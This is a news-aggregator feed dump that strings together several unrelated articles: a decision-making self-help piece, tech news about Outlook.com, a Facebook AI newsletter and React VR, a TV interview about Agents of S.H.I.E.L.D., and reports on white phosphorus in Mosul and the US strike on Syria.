People gobble up the latest article “10 Things You Can Do To Improve Your Email Opt-In Rate” but the problem with studying knowledge like that is that it changes — it doesn’t give you something to build up and build upon over time — in 18 months all of the advice in that article will be useless. If you spent a year in 2004 reading every book on high performance banner ads — none of that knowledge would be relevant today.

But if you flip that, if you study the strategy — spend your time mastering the core principles that underpin psychology and human behavior, reading things like the book Influence by Robert Cialdini — you can invent marketing tactics on the fly — because you understand the bigger picture. And that knowledge changes very slowly over time — it’s a core foundation that you can build upon and grow from.

This also means that the best kind of knowledge to focus on and spend your time investing in is not ephemeral junk like facebook, twitter, and buzzfeed, but the core pillars of human knowledge and the major academic disciplines, which brings us to the principle of Worldly Wisdom.

Cultivate worldly wisdom by collecting knowledge from lots of different disciplines and areas of life

The next key component of The Art of Decision-making is cultivating what Charlie Munger (the billionaire business partner of Warren Buffett) called Worldy Wisdom.

Here’s a great description of the concept of worldly wisdom from Robert Griffin’s book “Charlie Munger: The Complete Investor:“

Munger has adopted an approach to business and life that he refers to as worldly wisdom. Munger believes that by using a range of different models from many different disciplines — psychology, history, mathematics, physics, philosophy, biology, and so on — a person can use the combined output of the synthesis to produce something that has more value than the sum of its parts. Robert Hagstrom wrote a wonderful book on worldly wisdom entitled Investing: The Last Liberal Art, in which he states that “each discipline entwines with, and in the process strengthens, every other. From each discipline the thoughtful person draws significant mental models, the key ideas that combine to produce a cohesive understanding. Those who cultivate this broad view are well on their way to achieving worldly wisdom.”

Being multidisciplinary means collecting knowledge from lots of different disciplines and areas of life and building an approach to understanding the world that integrates all that knowledge into a cohesive framework.

In order to get what you want you have to understand how to get there, and in order to do that, you have to understand how things work — things like human behavior, economic systems, money, biology, and mathematics. Josh Kaufman explains this beautifully in The Personal MBA:

“Every business fundamentally relies on two factors People and Systems…To understand how businesses work, you must have a firm understanding of how people tend to think and behave — how humans make decisions, act on those decisions, and communicate with others. Recent advances in psychology are revealing why people do the things they do, as well as how to improve our own behavior and work more effectively with others.

Systems, on the other hand, are the invisible structures that hold every business together. At the core, every business is a collection of processes that can be reliably repeated to produce a particular result. By understanding the essentials of how complex systems work, it’s possible to find ways to improve existing systems, whether you’re dealing with a marketing campaign or an automotive assembly line.”

The problem is that too many people have a very narrow focus — they master one piece of the puzzle, say marketing or finance, and think that has all the answers. But reality is messy and complex and interwoven. Most big events in our lives aren’t caused by one simple explanation; they are the result of an interplay of factors.

A multidisciplinary approach intertwines and strengthens itself by enabling you to pull from different disciplines of knowledge and bring the exact tools necessary to understand and solve tough challenges and to achieve complicated and difficult goals. As Peter Bevelin writes in Seeking Wisdom:

“Since no single discipline has all the answers we need to understand and use the big ideas from all the important disciplines: Mathematics, physics, chemistry, engineering, biology, psychology, and rank and use them in order of reliability.”

elon muskMark Brake / Getty Images

A mental model is a concept, an idea, a tidbit of wisdom that in some way explains how the world works

Now its time to go deeper into Mental Models, which we briefly touched on earlier. A mental model is simply a concept, an idea, a tidbit of wisdom that in some way explains how the world works. Mental models are one of the cornerstones of high leverage thinking. In fact, Charlie Munger puts it pretty bluntly:

“Developing the habit of mastering the multiple models which underlie reality is the best thing you can do.”

When a billionaire tells me something is “the best thing I can do” — I listen. And I’ve spent a tremendous amount of time studying billionaires, people like Charlie Munger, and mental models so that you don’t have to.

A few examples of mental models would be concepts like the 80/20 principle and compounding, both of which we discussed earlier, as well as concepts like expected value and base rates from mathematics, notions such as confirmation bias, anchoring, and social proof from psychology, the prisoner’s dilemma from game theory, or the concept of natural selection from biology.

Elon Musk has another great way of describing this.

“One bit of advice: it is important to view knowledge as sort of a semantic tree — make sure you understand the fundamental principles, ie the trunk and big branches, before you get into the leaves / details or there is nothing for them to hang on to.” – Elon Musk

While this may seem a bit overwhelming, the good news is that you don’t have to become an expert in physics and chemistry. The whole idea is to master the big ideas. Take the major principles from a 101 textbook and combine them into a framework of mental models that offers a rich and deep tool kit to look at, understand, and manipulate reality to your ends.

Checklists and decision journals both allow you to step outside your head, use an external system to eliminate bias from your thinking

I will also share two specific strategies for making better decisions.

  • Checklists
  • Decision journals

Checklists and decision journals both allow you to step outside your head, use an external system to eliminate bias from your thinking and make sure you cover all possible mental models that may address a particular problem.

“No wise pilot, no matter how great his talent or experience, fails to use his checklist.” – Charlie Munger

Checklists are a vital tool to get out of your own head and make sure you haven’t missed anything. Even experts like doctors routinely miss basic things like washing their hands, and implementing checklists in hospitals has saved thousands of lives as a result.

Decision journals help make your thought process clear and mitigate cognitive biases. Biases like hindsight bias and creeping determinism can disrupt your thinking and make your analysis of an event incorrect after the fact.

Michael J. Mauboussin, the Global Head of Strategy for Credit Suisse, describes decision journals as follows:

“Most professionals and businesspeople don’t keep track of how good their decisions were. They keep track of how things turned out as the result of their decisions. Over the long haul, of course, good decisions provide a much higher chance of desirable outcomes. But in the short run the link between decisions and results can be very loose.

The primary way to focus attention on the decision-making process is to keep a journal that documents your thinking. This is how you impose accountability on yourself. Here’s what you do. Go out and get a notebook. When you are making a consequential decision in your portfolio, business, or life, write down what you expect to happen, why you expect it to happen, and attach probabilities to your views. If you are so inclined, also jot down how you feel physically and emotionally. Make sure you note the date and time.”

A decision journal freezes your thoughts in time so you can go back later and see where you went wrong, and what you could have done instead. This provides you with an opportunity to improve your thinking in an iterative way.

Months after a decision has taken place, you can go back and review what you thought, see where your thinking was wrong, and start correcting it.

Combine all these factors to become a high-level thinker

When you combine all of these factors, you are putting your brain on a high leverage rocket ship — and with the power of compounding you will start leaving other people in the dust and be well on your way to mastering The Art of Decision-making.

NOW WATCH: ‘Shark Tank’ star Barbara Corcoran: How I went from a 10-kid household and more than 20 jobs to become a real estate mogul

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]]> https://briefnews.eu/ive-studied-billionaires-and-interviewed-neuroscientists-and-ive-created-the-ultimate-framework-for-making-better-decisions/feed/ 0 Microsoft launches Outlook.com Beta: Faster framework, more personalization, and a smarter inbox https://briefnews.eu/microsoft-launches-outlook-com-beta-faster-framework-more-personalization-and-a-smarter-inbox/ https://briefnews.eu/microsoft-launches-outlook-com-beta-faster-framework-more-personalization-and-a-smarter-inbox/#respond Tue, 08 Aug 2017 16:47:30 +0000 http://briefnews.eu/microsoft-launches-outlook-com-beta-faster-framework-more-personalization-and-a-smarter-inbox/

After the massive Outlook.com overhaul last year, Microsoft is back at it again. The company today announced Outlook.com Beta, a new version of the web email client users can try to improve by giving feedback to the team’s engineers and designers. The company is promising the beta will bring a faster Outlook.com with new ways to personalize emails, a smarter inbox and calendar, and a “more connected” People experience.

To opt in, just click the “Try the beta” toggle in the top right corner of your Outlook.com inbox, which will be rolling out to all users “in the next few weeks.” You can switch back to the regular web experience at any time (just hit the toggle again), so trying the beta shouldn’t be too much of a pain.

Right now, Outlook.com Beta brings three improvements:

  • A faster experience: A more responsive web development framework means quicker loading, an upgraded search feature, a fresher look with a modern conversation style, and a new design to let you see, read, and attach files faster.
  • Better personalization: You can personalize your inbox with your favorite people and folders, as well as give your communications a personal touch with an easier way to access tons of expressions, including popular emojis and GIFs.
  • A smarter inbox: Your inbox now shows you Quick Suggestions (such as restaurants, flights, or your favorite teams’ schedules) as you type, an improved photo experience puts all your sent or received pictures in one place and makes it easier to share them, and a modern conversation style makes it easier to manage and preview photos and attachments.

“Additional enhancements” are in the pipeline, set to be rolled out over the next few months, including updates to calendar and people. The company promises to iterate, improve, refine, or discard Outlook.com beta features based on user feedback. The best innovations will be brought into Outlook.com “at the end of the beta,” though the company wouldn’t specify how long the beta will last.

VentureBeat

]]> https://briefnews.eu/microsoft-launches-outlook-com-beta-faster-framework-more-personalization-and-a-smarter-inbox/feed/ 0 US-led coalition’s white phosphorus use in Mosul ‘not within int’l legal framework’ – rights groups https://briefnews.eu/us-led-coalitions-white-phosphorus-use-in-mosul-not-within-intl-legal-framework-rights-groups/ https://briefnews.eu/us-led-coalitions-white-phosphorus-use-in-mosul-not-within-intl-legal-framework-rights-groups/#respond Sat, 17 Jun 2017 02:24:00 +0000 http://briefnews.eu/us-led-coalitions-white-phosphorus-use-in-mosul-not-within-intl-legal-framework-rights-groups/ The use of white phosphorus by the US-led coalition in Mosul is “not within the international legal framework,” the UN coordinator for rights group Salam for Democracy and Human Rights told RT, adding that Baghdad should launch an independent investigation.

“There’s no area [in Mosul] with a large space… the houses are built against each other so it’s really intense. So using such a weapon in this area is not within the international legal framework,” Mohammed Serkal told RT.

Read more

Alleged deployment of white phosphorus munitions in Raqqa as reported by ISIS-linked Amaq news agency © YouTube

“It is banned… in areas like this… especially now with the heat in Iraq… with this it could burn easy and that could have consequences, not just now but on the future as well,” he said.

White phosphorus burns when it comes into contact with oxygen, producing high-temperature heat and characteristic white smoke.

Serkal also said there “seems to be a blackout on Mosul” in the media, because “we don’t have many NGOs in Mosul who can verify information, who can report on information on the airstrikes” on the city, and because the city is inaccessible.

Serkal is calling on the Iraqi government to investigate any criminal behavior “independently and transparently,” without the US being involved.

READ MORE: ‘Staggering loss of civilian life’ during US-backed siege of Raqqa – UN

The US-led coalition has admitted to using munitions loaded with white phosphorus, with a New Zealand general disclosing it earlier this week. The explanation was that the substance has been used for creating smokescreens to aid fleeing civilians.

It comes after an increasing number of claims pointed to the use of such munitions in Mosul and Raqqa, Syria in previous weeks. The cities are the two strongholds of Islamic State (IS, formerly ISIS/ISIL).

Human Rights Watch (HRW) has also criticized the coalition for deploying the munitions by releasing a statement entitled “Iraq/Syria: Danger from US white phosphorus” on Wednesday.

The Americans saying that they’re only using artillery-delivered white phosphorus as a smoke screen, but the group warned against employing it “to attack personnel on the ground or material objects,” Mary Wareham, the advocacy director of HRW’s arms division, told RT.  

“We see enough risk in the use [of white phosphorus] and see horror stories from past use in previous conflicts. We want the US to be extremely careful and sparing when it uses white phosphorus – if it uses it at all,” she said. 

READ MORE: What we see in Raqqa is no attempt to protect civilians – Vanessa Beeley

When asked if she believed that the use of white phosphorus could endanger peaceful Syrians and Iraqis, Wareham’s reply was: “Yes. There are hundreds of thousands of civilians still on the ground in Mosul and in Raqqa. It’s a very complex situation.”

“Our problem is that there are no clear rules in terms of using white phosphorus as a weapon. It’s not covered by international law. It’s not primarily designed as an incendiary weapon. But its incidental effects can cause terrible injuries – burns, smoke inhalation,” she said.

Even after being deployed in the air, white phosphorus keeps burning when reaching the ground and HRW wants to know “what’s it hitting on the ground?” and if “adequate provisions [are] being taken to ensure that civilians aren’t falling victims to white phosphorus,” Warren said.   

She also stressed that Human Rights Watch has not yet identified any victims of white phosphorous in Mosul and Raqqa, adding that, according to its information, the US-led coalition has not used the controversial munition in the last couple of days.

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]]> https://briefnews.eu/us-led-coalitions-white-phosphorus-use-in-mosul-not-within-intl-legal-framework-rights-groups/feed/ 0 AI Weekly: Facebook launches Messenger Platform 2.0 and open-sources Caffe2 deep learning framework https://briefnews.eu/ai-weekly-facebook-launches-messenger-platform-2-0-and-open-sources-caffe2-deep-learning-framework/ https://briefnews.eu/ai-weekly-facebook-launches-messenger-platform-2-0-and-open-sources-caffe2-deep-learning-framework/#respond Fri, 21 Apr 2017 01:45:23 +0000 http://briefnews.eu/ai-weekly-facebook-launches-messenger-platform-2-0-and-open-sources-caffe2-deep-learning-framework/

Here’s this week’s newsletter:

Discovery is the number one issue bot makers told Facebook Messenger they wanted addressed, said Messenger engineering manager Mikhail Larionov. That’s certainly what VentureBeat has heard from bot developers, and now — a year after the launch of the Messenger Platform — Facebook has launched version 2.0 at its F8 conference. And it’s all about discovery.

The new Discover tab is designed to share popular and featured bots and includes sections for chat with human customer service agents from large businesses, as well as the Messenger accounts of nearby businesses.

Chat extensions can now bring bots into group settings to provide services in webview, however they do not talk or incorporate natural language understanding. Facebook is also testing the incorporation of Delivery.com in the suggested replies from intelligent assistant M. The Messenger bot drawer that has been used to feature roughly 20 bots since last year — but which malfunctioned in the weeks prior to F8 — also made its return with version 2.0.

VentureBeat has been asking questions about discovery on Messenger since grumblings began last summer about the difficulty finding an audience for bots.

Former Facebook product manager Seth Rosenberg, who joined Greylock Ventures Wednesday, told VentureBeat he found Messenger Platform 2.0 refreshing in that it responded to a top demand from a community of tens of thousands of developers. I’m inclined to agree with him.

In AI at F8, Facebook open-sourced its Caffe2 deep learning framework, and CTO Mike Schroepfer talked about the social network’s AI strategy and argued in favor of bots that can answer questions like “Is there an organization close by that I can volunteer at?” or “Where is the best place to ride a bike in the Bay Area?” For a full recap, here’s everything Facebook announced at F8.

For AI and bots coverage, send news tips to Khari Johnson and guest post submissions to John Brandon. Please be sure to visit our AI Channel.

Thanks for reading,

Khari Johnson

Bots-AI Reporter

P.S. Please enjoy this video from the F8 session titled “Let’s Chat About Bots,” a panel discussion about bot building best practices with Hussein Fazal, CEO and cofounder of SnapTravel; Anastasia Sartan, maker of the Epytom Stylist bot for daily clothes recommendations; Felipe Bernal, head of product innovation at Movile (Chatclub); and Chema Alonso, head of digital at Telefonica.

 

From the AI Channel

Above: File uploading within Facebook’s Workplace product.

Image Credit: Facebook

Facebook’s Slack competitor opens the floodgates for bots

Facebook is releasing a host of updates for its enterprise team solution so users can adapt it into their workflow. The company announced today that it’s now supporting file-sharing, eDiscovery, and compliance; expanding its live video capabilities to include professional cameras; and perhaps most significantly, opening up the doors to third-party bot makers. Since officially launching in 2016, Workplace has targeted the business world, similar to Slack, Cisco Spark […]

Read the full story

Above: Robot typing on fluorescent keyboard.

Image Credit: Shutterstock

The art of algorithms: How automation is affecting creativity

“Drawing on your phone or computer can be slow and difficult — so we created AutoDraw, a new web-based tool that pairs machine learning with drawings created by talented artists to help you draw,” wrote Google Creative Lab’s “creative technologist,” Dan Motzenbecker, earlier this week. AutoDraw is one of Google’s artificial intelligence (AI) experiments, working across platforms to let anyone, irrespective of their artistic flair, create something super quick with little more than a scribble. It guesses what you’re trying to draw, then […]

Read the full story

Sales AI company Afiniti valued at $ 1.6 billion, files for IPO

You’ll be forgiven for not having heard of Afiniti, a Washington, D.C. company that may be the first pure-play artificial intelligence company to file for an IPO since the big AI hype wave hit last year. Afiniti uses AI to help companies more efficiently pair their sales people with customers, and boasts that it raises sales by an average of 4 to 6 percent. Since Afiniti started 11 years ago it has lain low, preferring to amass customers quietly rather than banging the PR drum.But now Afiniti’s about come under a spotlight. The company confidentially filed for an IPO late last year, VentureBeat has learned, and is valued at $ 1.6 billion […]

Read the full story

Above: Facebook CTO Mike Schroepfer talks about AI and bots during his keynote address April 19 at the City National Civic in San Jose, Calif.

Facebook CTO: Bots should be able to answer questions about your life

During a keynote speech at the second day of the annual Facebook developer conference F8, CTO Mike Schroepfer said bots need to answer more questions that are pertinent to people’s lives and the things they do everyday. “How do I connect with my community? Which friends should I reach out to? How do I find a club? How do I go volunteer? What should I do in my career? These are the human questions that matter, and bots are pretty far away from..” […]

Read the full story

How AI finds big value in big data

Bots can augment human interaction, create greater business efficiencies, and remove friction from customer interactions. It’s a market that has already rolled up $ 24 billion in funding for companies at every stage, from startup to multinational. Industry leaders from IBM to Facebook are making big efforts to take advantage, spending significant resources to […]

Read the full story

Beyond VB

AI programs exhibit racial and gender biases, research reveals

Machine learning algorithms are picking up deeply ingrained race and gender prejudices concealed within the patterns of language use, scientists say (via The Guardian)

Read the full story

Courts are using AI to sentence criminals. That must stop now

There is a stretch of highway through the Ozark Mountains where being data-driven is a hazard. Heading from Springfield, Missouri, to Clarksville, Arkansas, navigation apps recommend the Arkansas 43. While this can be the fastest route, the GPS’s algorithm does not concern itself with factors important to truckers carrying a heavy load, such as the 43’s 1,300-foot elevation drop over four miles with two sharp turns. The road once hosted few 18-wheelers, but the last two and half years […] (via Wired)

Read the full story

AI can predict heart attacks more accurately than doctors

This machine learning algorithm beats ACC/AHA guidelines by 7.6 percent (via Engadget)

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Neural networks made easy

If you’ve dug into any articles on artificial intelligence, you’ve almost certainly run into the term “neural network.” Modeled loosely on the human brain, artificial neural networks enable computers to learn from being fed data. The efficacy of this powerful branch of machine learning, more than anything else, has been […] (via TechCrunch)

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]]> https://briefnews.eu/ai-weekly-facebook-launches-messenger-platform-2-0-and-open-sources-caffe2-deep-learning-framework/feed/ 0 Facebook turned a JavaScript framework into a VR creation tool https://briefnews.eu/facebook-turned-a-javascript-framework-into-a-vr-creation-tool/ https://briefnews.eu/facebook-turned-a-javascript-framework-into-a-vr-creation-tool/#respond Tue, 18 Apr 2017 21:47:18 +0000 http://briefnews.eu/facebook-turned-a-javascript-framework-into-a-vr-creation-tool/

Facebook launched React VR today, an open source JavaScript framework for building VR experiences that was announced back in October. It’s based on React, which is the user interface code that powers websites like Facebook and Instagram. React VR lets you import 360 panoramic images and 3D models into a scene, add text and images, and implement interactivity with the same style of code you’d normally use to make a website.

Under the hood is WebVR, a burgeoning standard that was originally spearheaded by Mozilla and now has some amount of support on almost every platform but the Mac. Scenes can also render in 2D on non-WebVR browsers.

React VR probably appeals to a very particular kind of developer: someone who’s comfortable with JavaScript and web development, and wants to build something in VR, but isn’t interested in learning the complexities of 3D game development.

A glut of tools are now available to developers to build VR. Unreal Engine and Unity are both “free” (at least, there’s no up-front cost), relatively easy to learn, and incredibly powerful. You can also get a copy of CryEngine or Amazon’s Lumberyard without paying a penny.

On the other end of the spectrum, companies like Mozilla and Facebook are working to serve people who prefer HTML and JavaScript to C++ and C#. Mozilla’s A-Frame HTML-based framework has been kicking around for a while, and even supports motion controllers.

I have no idea how far the build-a-VR-experience-like-it’s-a-website concept can scale — I’d assume that most games and high-end experiences will continue to be built in Unreal and Unity. But React VR and A-Frame lower the barrier to entry so far that it seems foolish to underestimate them.

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]]> https://briefnews.eu/facebook-turned-a-javascript-framework-into-a-vr-creation-tool/feed/ 0 S.H.I.E.L.D.'s Brett Dalton Finds Ward's 'Sweet Spot' in Framework, Whereas Fitz Is the 'Cold-Blooded Killer' https://briefnews.eu/s-h-i-e-l-d-s-brett-dalton-finds-wards-sweet-spot-in-framework-whereas-fitz-is-the-cold-blooded-killer/ https://briefnews.eu/s-h-i-e-l-d-s-brett-dalton-finds-wards-sweet-spot-in-framework-whereas-fitz-is-the-cold-blooded-killer/#respond Fri, 14 Apr 2017 01:02:23 +0000 http://briefnews.eu/s-h-i-e-l-d-s-brett-dalton-finds-wards-sweet-spot-in-framework-whereas-fitz-is-the-cold-blooded-killer/ Just when you thought he was out… they pulled him back in.

In launching the third arc of Season 4, ABC’s Agents of S.H.I.E.L.D. (airing Tuesdays at 10/9c) put dearly departed-turned-Inhuman Grant Ward in Daisy’s bed, establishing from go that the Framework offered one funked-up reality.

Now, though, the former S.H.I.E.L.D. agent is back fighting for good. We think. While that sweet, soft-spoken Scot, Fitz, has become a stone-cold killer. TVLine invited original cast member Brett Dalton to talk about his latest encore, Ward’s latest “uphill battle” with “Skye” and the possibility that we will get fooled again.

RELATEDAgents of S.H.I.E.L.D.: Who’s Who, What’s New in the Framework?

TVLINE | It’s good to see you back on the show. That was a most unexpected twist a few weeks back.
You’re telling me! I was the one who got the phone call.

TVLINE | Talk about how you learned that you were needed, again.
Every one of our “fallen agents’ have all kind of gotten the same [goodbye speech], which is, “Well, this is a comic book universe, so you never know. You never know.” Up until now, though, there hasn’t been an opportunity to bring anyone back, so when I got the, “You never know” thing, I was like, “We’ll see what happens down the line.” And then [co-showrunner] Mo [Tancharoen] called me and told me the storyline, and I was on board. She “had me at hello.”

TVLINE | [Co-showrunner] Jed [Whedon] told me you actually weren’t available for the initial reveal, where Ward was first glimpsed under the bed sheets….
Yeah, yeah, that’s correct. It also worked better as a tag, since there was such a crazy explanation behind it.

TVLINE | Were you up to speed at all on the Framework storyline, or did someone need to sit Brett Dalton down and explain what you were  walking into?
[Laughs] No, no, I had it DVR’d. Ive been keeping up with the show. These guys are my family, so it’s nice to see what my brothers and sisters have been doing. [Season 4] has a different structure, so I can understand why they didn’t have room for this Hydra/S.H.I.E.L.D. conflict [earlier]. They were doing it in sort of three separate pods, starting with Ghost Rider. So as soon as they were in the LMD world, I felt like, “If there ever was an opportunity for them to bring me back, this would be it.” And thankfully I got the call.

RELATEDAgents of S.H.I.E.L.D. on the Renewal Bubble: Keep or Cut?

TVLINE | How are you going about playing Ward here? Have you gotten any direction on who he is, who isn’t? Is this basically the Season 1A Ward…?
Right, right…. I think it’s a fun combo of “all of the above,” because he’s still a double agent, and he’s still capable, and you can see these flashes of things. I think that’s what makes it so interesting. You think that he’s one thing, but because we have three seasons now of this backstory, we don’t know exactly how much of that translates into the Framework. So as soon as we see Ward raise his gun in the forest and say, “Ladies, we need to talk,” before he claims that he’s part of the Resistance, that should be an, “Oh s–t!” moment. See! I trusted him, and he did it again! My God! There should be moments like that where we’re really not sure. Even in this week’s episode, Skye and Jemma say, “I’m pretty sure we can trust him…”

TVLINE | I’ve enjoyed skeptical Jemma’s running commentary à la “Once a mole, always a mole.”
Exactly! It just doesn’t matter what, she always has a grudge against me, in the real world and in this world. I feel like Grant Ward-slash-Hive is like, “Why does this girl have something against me so much? I’m doing the right thing, even when I’m bad!”

TVLINE | The all-too-briefAgents of SHIELD synopsis for this week says, “The truth behind Fitz’s turn” will pose a threat to S.H.I.E.L.D., or something. What exactly do we mean by “Fitz’s turn”?
Well, I feel like last episode was as big of a reveal as Grant Ward being a traitor. We knew that Fitz was second in command at Hydra, we knew that he was someone to be feared, but I think that until now, we hadn’t really seen any action on this scale that proved he was a cold-blooded killer. But we saw him just shoot someone in cold blood, and it’s a scary thing. I think that Iain [De Caestecker] is really killing it. He’s got a huge range and Fitz is one of the most compelling characters on the show, but this is just another whole color that we haven’t seen from him, and it’s really chilling. It’s cool to see all of us in the Framework have a different “side” of ourselves that we get to play, other than [Chloe Bennet and Elizabeth Henstridge].

TVLINE | Might weAgents of SHIELD see Daisy start to warm up to this Ward, or she is the mind, “Fool me six times, shame on you”?
That’s a good question. It feels like all of the stuff with Skye, Ward… that’s always an uphill battle. It feels like once we turned the corner and once she found out that I was  spy, she can’t un-know what she knows in the real world — or undo any of those things. But for Grant Ward it’s just a Tuesday! Obviously some things have happened, but he wakes up [in the Framework] and is like, “What’s the problem? All of the sudden my girlfriend is going crazy!” I think that Ward has always had an uphill battle with Skye’s affection, so he’s going to have to work really, really hard for that. Even when I was like an anti-hero in the gray area there, in the real world — like Season 2, Season 3 — I would promise to protect her, but it seemed to never really make that much of a difference. In the very next episode after I introduced her to her father, she shoots me in the chest three times! [Laughs]

TVLINE | Well I was going to say, Ward is one of the more polarizing characters on TV. Half the people were thrilled to see you back, half aren’t. What do you have to say to the ones who are like, “Him again??”
I’m baaaaack! [Laughs] I think that this is a nice sweet spot, actually, because he’s still someone that is fun to watch, because you’re not really sure what hes going to do. I’m in that good guy/bad guy territory again. But at least I’m not wearing Hive’s green coat anymore, because then you knew I was a bad guy. It’s a fun return to form I think, straddling this line.

TVLINE | Heck, I’m nor even convinced he is a good guy. This could be a triple cross.
It could be a triple cross. It could be a triple cross, sure. That’s always a possibility!

Want more scoop on S.H.I.E.L.D., or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/s-h-i-e-l-d-s-brett-dalton-finds-wards-sweet-spot-in-framework-whereas-fitz-is-the-cold-blooded-killer/feed/ 0 Trump’s decision to hit Syrian airfield was outside UN framework – Belgian foreign minister https://briefnews.eu/trumps-decision-to-hit-syrian-airfield-was-outside-un-framework-belgian-foreign-minister/ https://briefnews.eu/trumps-decision-to-hit-syrian-airfield-was-outside-un-framework-belgian-foreign-minister/#respond Mon, 10 Apr 2017 13:59:36 +0000 http://briefnews.eu/trumps-decision-to-hit-syrian-airfield-was-outside-un-framework-belgian-foreign-minister/ Belgium’s top diplomat has called on US President Donald Trump to make sure his next foreign policy decisions are made within the United Nations’ framework, referring to an order to carry out a missile strike on Syria’s Shayrat Airbase overnight Thursday.

“What we are seeing today is an escalation,” Foreign Minister Didier Reynders told Bel RTL radio on Monday.

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© Ruptly

“I can understand the reaction of the American president following a chemical attack, and it’s not the first [one]. But his decision was taken outside the international framework. [Decisions] must go through the United Nations,” he said.

On Friday, the US carried out a missile strike on Shayrat Airfield near Homs in response to an alleged chemical attack on a rebel-held town in Idlib province, the blame for which Washington pinned on the Assad government. The Pentagon said the missiles destroyed 20 Syrian warplanes.

White House spokesperson Sean Spicer said during a press briefing on Friday that the US military action in Syria was a “clear response on humanitarian purposes that has been widely praised throughout the globe.”

Vanessa Beeley,an  independent researcher and journalist who has traveled to Syria on numerous occasions, told RT that Washington’s “humanitarian response” was in fact “in contradiction to international law and the charter of the UN.”

“This is the problem of everything the US is doing in Syria. And it is not only by this action. They did it already six years ago when the US, the UK, France, Saudi Arabia and Qatar organized the civil war in Syria. So there is already a long list of problems being created by the United States, and what happened in the last 24 hours was another example of taking unilateral steps with disregard for the UN Charter and international law,” she said. 

A total of 59 Tomahawk missiles were deployed in the pre-dawn US attack, ordered by Trump. Only 23 of them reached their target, the Russian Defense Ministry said, however. The US denied this claim, insisting almost all of the missiles hit their targets.

The Russian Defense Ministry noted on Saturday that Washington has presented no fact-based evidence yet of any alleged chemical weapons’ presence at Shayrat Airfield.

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United States Ambassador to the United Nations Nikki Haley. © Stephanie Keith

Syrian officials have confirmed that at least six people were killed and several others wounded in the operation. According to the governor of Homs, the US strike killed 14 people, including nine civilians.

The Red Cross characterized the current situation in Syria as an “international armed conflict” following the US strike, which forced the organization to change its assessment of the ongoing conflict. The ICRC previously regarded the Syrian conflict as an internal conflict.

“When a military of a certain state attacks the military of another state on the territory of that state, and there are legitimate military targets, that amounts immediately to international armed conflict,” ICRC spokesperson for the Near and Middle East region, Ralph El Hage, told RT on Sunday.

The US attack on the Syrian airfield was criticized by Moscow, with Kremlin spokesman Dmitry Peskov saying that President Putin “regards the strikes as aggression against a sovereign nation,” in violation of international law, “and also under an invented pretext.”

Iranian President Hassan Rouhani has called for an international fact-finding mission to investigate the alleged use of chemical weapons in Syria, and condemned the US military action.

Americans see themselves as the “world leader” and the “world’s gendarme,”he said, as quoted by SANA. US President Donald Trump “claimed that he wanted to fight terrorism, but today all terrorists in Syria are celebrating the US attack,” Rouhani said on Sunday.

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